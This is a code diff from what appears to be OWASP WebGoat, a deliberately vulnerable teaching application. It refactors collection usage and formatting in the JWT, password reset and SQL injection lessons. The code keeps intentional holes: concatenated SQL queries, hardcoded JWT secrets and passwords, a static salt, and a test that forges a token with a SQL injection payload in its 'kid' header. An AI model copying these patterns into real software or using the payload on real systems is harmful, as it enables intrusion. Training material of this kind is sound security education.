byte[] longBytes = baos.toByteArray();
return bytesToHex(longBytes);
}
public static String bytesToHex(byte[] bytes) {
char[] hexChars = new char[bytes.length * 2];
for (int j = 0; j < bytes.length; j++) {
int v = bytes[j] & 0xFF;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
}

View File

@ -22,24 +22,17 @@
package org.owasp.webgoat.jwt;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import io.jsonwebtoken.*;
import org.apache.commons.lang3.RandomStringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.Date;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.concurrent.TimeUnit;
/**
@ -52,7 +45,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4";
private static final List<String> validRefreshTokens = Lists.newArrayList();
private static final List<String> validRefreshTokens = new ArrayList<>();
@PostMapping(value = "/JWT/refresh/login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
@ -67,7 +60,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
}
private Map<String, Object> createNewTokens(String user) {
Map<String, Object> claims = Maps.newHashMap();
Map<String, Object> claims = new HashMap<>();
claims.put("admin", "false");
claims.put("user", user);
String token = Jwts.builder()
@ -75,7 +68,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
.compact();
Map<String, Object> tokenJson = Maps.newHashMap();
Map<String, Object> tokenJson = new HashMap<>();
String refreshToken = RandomStringUtils.randomAlphabetic(20);
validRefreshTokens.add(refreshToken);
tokenJson.put("access_token", token);

View File

@ -22,24 +22,16 @@
package org.owasp.webgoat.jwt;
import com.google.common.collect.Lists;
import io.jsonwebtoken.impl.TextCodec;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import io.jsonwebtoken.impl.TextCodec;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import java.time.Instant;
import java.util.Calendar;
@ -55,24 +47,24 @@ import java.util.Random;
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
public static final String[] SECRETS = {"victory","business","available", "shipping", "washington"};
public static final String[] SECRETS = {"victory", "business", "available", "shipping", "washington"};
public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);
private static final String WEBGOAT_USER = "WebGoat";
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
private static final List<String> expectedClaims = List.of("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
@RequestMapping(path="/JWT/secret/gettoken",produces=MediaType.TEXT_HTML_VALUE)
@RequestMapping(path = "/JWT/secret/gettoken", produces = MediaType.TEXT_HTML_VALUE)
@ResponseBody
public String getSecretToken() {
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[]{"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
}
@PostMapping("/JWT/secret")
@ -93,7 +85,7 @@ public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
}
}
} catch (Exception e) {
e.printStackTrace();
e.printStackTrace();
return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build());
}
}

View File

@ -22,7 +22,6 @@
package org.owasp.webgoat.jwt;
import com.google.common.collect.Maps;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
@ -46,6 +45,7 @@ import javax.servlet.http.HttpServletResponse;
import java.time.Duration;
import java.time.Instant;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import static java.util.Comparator.comparingLong;
@ -64,7 +64,7 @@ public class JWTVotesEndpoint extends AssignmentEndpoint {
private static String validUsers = "TomJerrySylvester";
private static int totalVotes = 38929;
private Map<String, Vote> votes = Maps.newHashMap();
private Map<String, Vote> votes = new HashMap<>();
@PostConstruct
public void initVotes() {

View File

@ -1,6 +1,5 @@
package org.owasp.webgoat.jwt;
import com.google.common.collect.Maps;
import io.jsonwebtoken.Jwts;
import org.hamcrest.CoreMatchers;
import org.junit.Before;
@ -8,12 +7,12 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.core.AutoConfigureCache;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;
@ -39,7 +38,7 @@ public class JWTFinalEndpointTest extends LessonTest {
@Test
public void solveAssignment() throws Exception {
String key = "deletingTom";
Map<String, Object> claims = Maps.newHashMap();
Map<String, Object> claims = new HashMap<>();
claims.put("username", "Tom");
String token = Jwts.builder()
.setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --")

View File

@ -23,7 +23,6 @@
package org.owasp.webgoat.jwt;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.Maps;
import org.hamcrest.CoreMatchers;
import org.junit.Before;
import org.junit.Test;
@ -36,6 +35,7 @@ import org.springframework.test.web.servlet.MvcResult;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.util.HashMap;
import java.util.Map;
import static org.hamcrest.Matchers.is;
@ -62,9 +62,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
ObjectMapper objectMapper = new ObjectMapper();
//First login to obtain tokens for Jerry
Map<String, Object> loginJson = Maps.newHashMap();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD);
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
@ -76,7 +74,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
//Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry
String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
Map<String, Object> refreshJson = Maps.newHashMap();
Map<String, Object> refreshJson = new HashMap<>();
refreshJson.put("refresh_token", refreshToken);
result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
.contentType(MediaType.APPLICATION_JSON)
@ -116,9 +114,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
public void flowForJerryAlwaysWorks() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = Maps.newHashMap();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD);
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
@ -137,9 +133,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = Maps.newHashMap();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD + "wrong");
var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong");
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
@ -150,9 +144,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
public void loginShouldNotWorkForTom() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = Maps.newHashMap();
loginJson.put("user", "Tom");
loginJson.put("password", PASSWORD);
var loginJson = Map.of("user", "Tom", "password", PASSWORD);
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
@ -162,7 +154,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
@Test
public void newTokenShouldWorkForJerry() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = Maps.newHashMap();
Map<String, Object> loginJson = new HashMap<>();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
@ -174,8 +166,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
String accessToken = tokens.get("access_token");
String refreshToken = tokens.get("refresh_token");
Map<String, Object> refreshJson = Maps.newHashMap();
refreshJson.put("refresh_token", refreshToken);
var refreshJson = Map.of("refresh_token", refreshToken);
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
.contentType(MediaType.APPLICATION_JSON)
.header("Authorization", "Bearer " + accessToken)
@ -186,7 +177,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
@Test
public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = Maps.newHashMap();
Map<String, Object> loginJson = new HashMap<>();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
@ -197,8 +188,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
String accessToken = tokens.get("access_token");
Map<String, Object> refreshJson = Maps.newHashMap();
refreshJson.put("refresh_token", "wrong_refresh_token");
var refreshJson = Map.of("refresh_token", "wrong_refresh_token");
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
.contentType(MediaType.APPLICATION_JSON)
.header("Authorization", "Bearer " + accessToken)

View File

@ -22,16 +22,12 @@
package org.owasp.webgoat.jwt;
import com.google.common.base.Charsets;
import com.google.common.collect.Maps;
import io.jsonwebtoken.*;
import io.jsonwebtoken.impl.TextCodec;
import org.junit.Test;
import java.time.Duration;
import java.time.Instant;
import java.time.LocalDateTime;
import java.time.Period;
import java.util.Date;
import java.util.Map;
import java.util.concurrent.TimeUnit;
@ -41,10 +37,7 @@ public class TokenTest {
@Test
public void test() {
String key = "qwertyqwerty1234";
Map<String, Object> claims = Maps.newHashMap();
claims.put("username", "Jerry");
claims.put("aud", "webgoat.org");
claims.put("email", "jerry@webgoat.com");
Map<String, Object> claims = Map.of("username", "Jerry", "aud", "webgoat.org", "email", "jerry@webgoat.com");
String token = Jwts.builder()
.setHeaderParam("kid", "webgoat_key")
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
@ -52,7 +45,7 @@ public class TokenTest {
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact();
System.out.println(token);
Jwt jwt = Jwts.parser().setSigningKey("qwertyqwerty1234").parse(token);
jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter(){
jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
return TextCodec.BASE64.decode(key);

View File

@ -1,7 +1,5 @@
package org.owasp.webgoat.missing_ac;
import lombok.Getter;
import org.owasp.webgoat.users.WebGoatUser;
import org.springframework.security.core.GrantedAuthority;
@ -32,10 +30,8 @@ import java.util.Base64;
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
*/
public class DisplayUser {
//intended to provide a display version of WebGoatUser for admins to view user attributes
@ -63,7 +59,7 @@ public class DisplayUser {
}
protected String genUserHash (String username, String password) throws Exception {
protected String genUserHash(String username, String password) throws Exception {
MessageDigest md = MessageDigest.getInstance("SHA-256");
// salting is good, but static & too predictable ... short too for a salt
String salted = password + "DeliberatelyInsecure1234" + username;

View File

@ -22,23 +22,14 @@
package org.owasp.webgoat.missing_ac;
import com.google.common.collect.Lists;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
/**
* Created by jason on 1/5/17.

View File

@ -58,7 +58,6 @@ public class Users {
if ((results != null) && (results.first() == true)) {
while (results.next()) {
int id = results.getInt(0);
HashMap<String, String> userMap = new HashMap<>();
userMap.put("first", results.getString(1));
userMap.put("last", results.getString(2));
@ -66,7 +65,7 @@ public class Users {
userMap.put("ccType", results.getString(4));
userMap.put("cookie", results.getString(5));
userMap.put("loginCount", Integer.toString(results.getInt(6)));
allUsersMap.put(id, userMap);
allUsersMap.put(results.getInt(0), userMap);
}
userSessionData.setValue("allUsers", allUsersMap);
return allUsersMap;

View File

@ -40,7 +40,7 @@ import java.util.Map;
@RestController
public class QuestionsAssignment extends AssignmentEndpoint {
private final static Map<String, String> COLORS = new HashMap<>();
private static final Map<String, String> COLORS = new HashMap<>();
static {
COLORS.put("admin", "green");

View File

@ -22,8 +22,7 @@
package org.owasp.webgoat.password_reset;
import com.google.common.collect.EvictingQueue;
import com.google.common.collect.Maps;
import com.beust.jcommander.internal.Maps;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
@ -33,6 +32,9 @@ import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.ModelAndView;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
@ -45,18 +47,18 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
static final String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
static final String TOM_EMAIL = "tom@webgoat-cloud.org";
static Map<String, String> userToTomResetLink = Maps.newHashMap();
static Map<String, String> userToTomResetLink = new HashMap<>();
static Map<String, String> usersToTomPassword = Maps.newHashMap();
static EvictingQueue<String> resetLinks = EvictingQueue.create(1000);
static List<String> resetLinks = new ArrayList<>();
static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
"<a target='_blank' href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your password." +
"\n \n\n" +
"If you did not request this password change you can ignore this message." +
"\n" +
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
"\n\n" +
"Kind regards, \nTeam WebGoat";
static final String TEMPLATE = "Hi, you requested a password reset link, please use this "
+ "<a target='_blank' href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your password."
+ "\n \n\n"
+ "If you did not request this password change you can ignore this message."
+ "\n"
+ "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org"
+ "\n\n"
+ "Kind regards, \nTeam WebGoat";
@PostMapping("/PasswordReset/reset/login")

View File

@ -22,17 +22,17 @@
package org.owasp.webgoat.password_reset;
import com.google.common.collect.Sets;
import org.springframework.stereotype.Component;
import org.springframework.web.context.annotation.SessionScope;
import java.util.HashSet;
import java.util.Set;
@Component
@SessionScope
public class TriedQuestions {
private Set<String> answeredQuestions = Sets.newHashSet();
private Set<String> answeredQuestions = new HashSet<>();
public void incr(String question) {
answeredQuestions.add(question);

View File

@ -15,7 +15,7 @@ import javax.validation.constraints.Size;
public class PasswordChangeForm {
@NotNull
@Size(min=6, max=10)
@Size(min = 6, max = 10)
private String password;
private String resetLink;

View File

@ -39,36 +39,36 @@ public class SecurePasswordsAssignment extends AssignmentEndpoint {
@ResponseBody
public AttackResult completed(@RequestParam String password) {
Zxcvbn zxcvbn = new Zxcvbn();
Strength strength = zxcvbn.measure(password);
StringBuffer output = new StringBuffer();
DecimalFormat df = new DecimalFormat("0", DecimalFormatSymbols.getInstance(Locale.ENGLISH));
df.setMaximumFractionDigits(340);
Strength strength = zxcvbn.measure(password);
output.append("<b>Your Password: *******</b></br>");
output.append("<b>Length: </b>" + password.length()+ "</br>");
output.append("<b>Estimated guesses needed to crack your password: </b>" + df.format(strength.getGuesses())+ "</br>");
output.append("<div style=\"float: left;padding-right: 10px;\"><b>Score: </b>" + strength.getScore()+ "/4 </div>");
if(strength.getScore()<=1){
output.append("<b>Length: </b>" + password.length() + "</br>");
output.append("<b>Estimated guesses needed to crack your password: </b>" + df.format(strength.getGuesses()) + "</br>");
output.append("<div style=\"float: left;padding-right: 10px;\"><b>Score: </b>" + strength.getScore() + "/4 </div>");
if (strength.getScore() <= 1) {
output.append("<div style=\"background-color:red;width: 200px;border-radius: 12px;float: left;\">&nbsp;</div></br>");
} else if(strength.getScore()<=3){
} else if (strength.getScore() <= 3) {
output.append("<div style=\"background-color:orange;width: 200px;border-radius: 12px;float: left;\">&nbsp;</div></br>");
} else{
} else {
output.append("<div style=\"background-color:green;width: 200px;border-radius: 12px;float: left;\">&nbsp;</div></br>");
}
output.append("<b>Estimated cracking time: </b>" + calculateTime((long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()));
if(strength.getFeedback().getWarning().length() != 0)
if (strength.getFeedback().getWarning().length() != 0)
output.append("</br><b>Warning: </b>" + strength.getFeedback().getWarning());
// possible feedback: https://github.com/dropbox/zxcvbn/blob/master/src/feedback.coffee
// maybe ask user to try also weak passwords to see and understand feedback?
if(strength.getFeedback().getSuggestions().size() != 0){
if (strength.getFeedback().getSuggestions().size() != 0) {
output.append("</br><b>Suggestions:</b></br><ul>");
for(String sug: strength.getFeedback().getSuggestions()) output.append("<li>"+sug+"</li>");
for (String sug : strength.getFeedback().getSuggestions()) output.append("<li>" + sug + "</li>");
output.append("</ul></br>");
}
output.append("<b>Score: </b>" + strength.getScore()+ "/5 </br>");
output.append("<b>Score: </b>" + strength.getScore() + "/5 </br>");
output.append("<b>Estimated cracking time in seconds: </b>" + calculateTime((long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()));
if(strength.getScore() >= 4)
if (strength.getScore() >= 4)
return trackProgress(success().feedback("securepassword-success").output(output.toString()).build());
else
return trackProgress(failed().feedback("securepassword-failed").output(output.toString()).build());
@ -76,16 +76,16 @@ public class SecurePasswordsAssignment extends AssignmentEndpoint {
public static String calculateTime(long seconds) {
int s = 1;
int min = (60*s);
int hr = (60*min);
int d = (24*hr);
int yr = (365*d);
int min = (60 * s);
int hr = (60 * min);
int d = (24 * hr);
int yr = (365 * d);
long years = seconds/(d)/365;
long days = (seconds%yr)/(d);
long hours = (seconds%d)/(hr);
long minutes = (seconds%hr)/(min);
long sec = (seconds%min*s);
long years = seconds / (d) / 365;
long days = (seconds % yr) / (d);
long hours = (seconds % d) / (hr);
long minutes = (seconds % hr) / (min);
long sec = (seconds % min * s);
return (years + " years " + days + " days " + hours + " hours " + minutes + " minutes " + sec + " seconds");
}

View File

@ -47,7 +47,7 @@ public class SqlInjectionQuiz extends AssignmentEndpoint {
String[] givenAnswers = {question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0], question_4_solution[0]};
for(int i = 0; i < solutions.length; i++) {
for (int i = 0; i < solutions.length; i++) {
if (givenAnswers[i].contains(solutions[i])) {
// answer correct
correctAnswers++;
@ -58,7 +58,7 @@ public class SqlInjectionQuiz extends AssignmentEndpoint {
}
}
if(correctAnswers == solutions.length) {
if (correctAnswers == solutions.length) {
return trackProgress(success().build());
} else {
return trackProgress(failed().build());

View File

@ -93,8 +93,8 @@ public class SqlInjectionLesson10 extends AssignmentEndpoint {
int cols = results.getMetaData().getColumnCount();
return (cols > 0);
} catch (SQLException e) {
String error_msg = e.getMessage();
if (error_msg.contains("object not found: ACCESS_LOG")) {
String errorMsg = e.getMessage();
if (errorMsg.contains("object not found: ACCESS_LOG")) {
return false;
} else {
System.err.println(e.getMessage());

View File

@ -57,19 +57,19 @@ public class SqlInjectionLesson3 extends AssignmentEndpoint {
return injectableQuery(query);
}
protected AttackResult injectableQuery(String _query) {
protected AttackResult injectableQuery(String query) {
try (Connection connection = dataSource.getConnection()) {
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
Statement check_statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,
Statement checkStatement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,
CONCUR_READ_ONLY);
statement.executeUpdate(_query);
ResultSet _results = check_statement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';");
statement.executeUpdate(query);
ResultSet results = checkStatement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';");
StringBuffer output = new StringBuffer();
// user completes lesson if the department of Tobi Barnett now is 'Sales'
_results.first();
if (_results.getString("department").equals("Sales")) {
output.append("<span class='feedback-positive'>" + _query + "</span>");
output.append(SqlInjectionLesson8.generateTable(_results));
results.first();
if (results.getString("department").equals("Sales")) {
output.append("<span class='feedback-positive'>" + query + "</span>");
output.append(SqlInjectionLesson8.generateTable(results));
return trackProgress(success().output(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString()).build());

View File

@ -53,16 +53,16 @@ public class SqlInjectionLesson4 extends AssignmentEndpoint {
return injectableQuery(query);
}
protected AttackResult injectableQuery(String _query) {
protected AttackResult injectableQuery(String query) {
try (Connection connection = dataSource.getConnection()) {
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
statement.executeUpdate(_query);
statement.executeUpdate(query);
connection.commit();
ResultSet _results = statement.executeQuery("SELECT phone from employees;");
ResultSet results = statement.executeQuery("SELECT phone from employees;");
StringBuffer output = new StringBuffer();
// user completes lesson if column phone exists
if (_results.first()) {
output.append("<span class='feedback-positive'>" + _query + "</span>");
if (results.first()) {
output.append("<span class='feedback-positive'>" + query + "</span>");
return trackProgress(success().output(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString()).build());

View File

@ -22,7 +22,6 @@
package org.owasp.webgoat.sql_injection.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
@ -62,8 +61,8 @@ public class SqlInjectionLesson5b extends AssignmentEndpoint {
try {
count = Integer.parseInt(login_count);
} catch (Exception e) {
return trackProgress(failed().output("Could not parse: " + login_count + " to a number" +
"<br> Your query was: " + queryString.replace("?", login_count)).build());
return trackProgress(failed().output("Could not parse: " + login_count + " to a number"
+ "<br> Your query was: " + queryString.replace("?", login_count)).build());
}
query.setInt(1, count);
@ -87,8 +86,6 @@ public class SqlInjectionLesson5b extends AssignmentEndpoint {
} else {
return trackProgress(failed().feedback("sql-injection.5b.no.results").output("Your query was: " + queryString.replace("?", login_count)).build());
// output.append(getLabelManager().get("NoResultsMatched"));
}
} catch (SQLException sqle) {

View File

@ -130,11 +130,11 @@ public class SqlInjectionLesson8 extends AssignmentEndpoint {
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String time = sdf.format(cal.getTime());
String log_query = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')";
String logQuery = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')";
try {
Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);
statement.executeUpdate(log_query);
statement.executeUpdate(logQuery);
} catch (SQLException e) {
System.err.println(e.getMessage());
}

View File

@ -22,10 +22,10 @@
package org.owasp.webgoat.sql_injection.mitigation;
import com.google.common.collect.Lists;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
@ -33,6 +33,8 @@ import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
/**
@ -41,6 +43,7 @@ import java.util.List;
*/
@RestController
@RequestMapping("SqlInjectionMitigations/servers")
@Slf4j
public class Servers {
private final DataSource dataSource;
@ -62,16 +65,19 @@ public class Servers {
}
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
@SneakyThrows
@ResponseBody
public List<Server> sort(@RequestParam String column) {
Connection connection = dataSource.getConnection();
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column);
ResultSet rs = preparedStatement.executeQuery();
List<Server> servers = Lists.newArrayList();
while (rs.next()) {
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
servers.add(server);
List<Server> servers = new ArrayList<>();
try (Connection connection = dataSource.getConnection();
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column)) {
ResultSet rs = preparedStatement.executeQuery();
while (rs.next()) {
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
servers.add(server);
}
} catch (SQLException e) {
log.error("Unable to get servers", e);
}
return servers;
}

View File

@ -49,21 +49,21 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
editor = editor.replaceAll("\\<.*?>", "");
String regex_setsUpConnection = "(?=.*getConnection.*)";
String regex_usesPreparedStatement = "(?=.*PreparedStatement.*)";
String regex_usesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)";
String regex_usesSetString = "(?=.*setString.*)";
String regex_usesExecute = "(?=.*execute.*)";
String regex_usesExecuteUpdate = "(?=.*executeUpdate.*)";
String regexSetsUpConnection = "(?=.*getConnection.*)";
String regexUsesPreparedStatement = "(?=.*PreparedStatement.*)";
String regexUsesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)";
String regexUsesSetString = "(?=.*setString.*)";
String regexUsesExecute = "(?=.*execute.*)";
String regexUsesExecuteUpdate = "(?=.*executeUpdate.*)";
String codeline = editor.replace("\n", "").replace("\r", "");
boolean setsUpConnection = this.check_text(regex_setsUpConnection, codeline);
boolean usesPreparedStatement = this.check_text(regex_usesPreparedStatement, codeline);
boolean usesSetString = this.check_text(regex_usesSetString, codeline);
boolean usesPlaceholder = this.check_text(regex_usesPlaceholder, codeline);
boolean usesExecute = this.check_text(regex_usesExecute, codeline);
boolean usesExecuteUpdate = this.check_text(regex_usesExecuteUpdate, codeline);
boolean setsUpConnection = this.check_text(regexSetsUpConnection, codeline);
boolean usesPreparedStatement = this.check_text(regexUsesPreparedStatement, codeline);
boolean usesSetString = this.check_text(regexUsesSetString, codeline);
boolean usesPlaceholder = this.check_text(regexUsesPlaceholder, codeline);
boolean usesExecute = this.check_text(regexUsesExecute, codeline);
boolean usesExecuteUpdate = this.check_text(regexUsesExecuteUpdate, codeline);
boolean hasImportant = (setsUpConnection && usesPreparedStatement && usesPlaceholder && usesSetString && (usesExecute || usesExecuteUpdate));
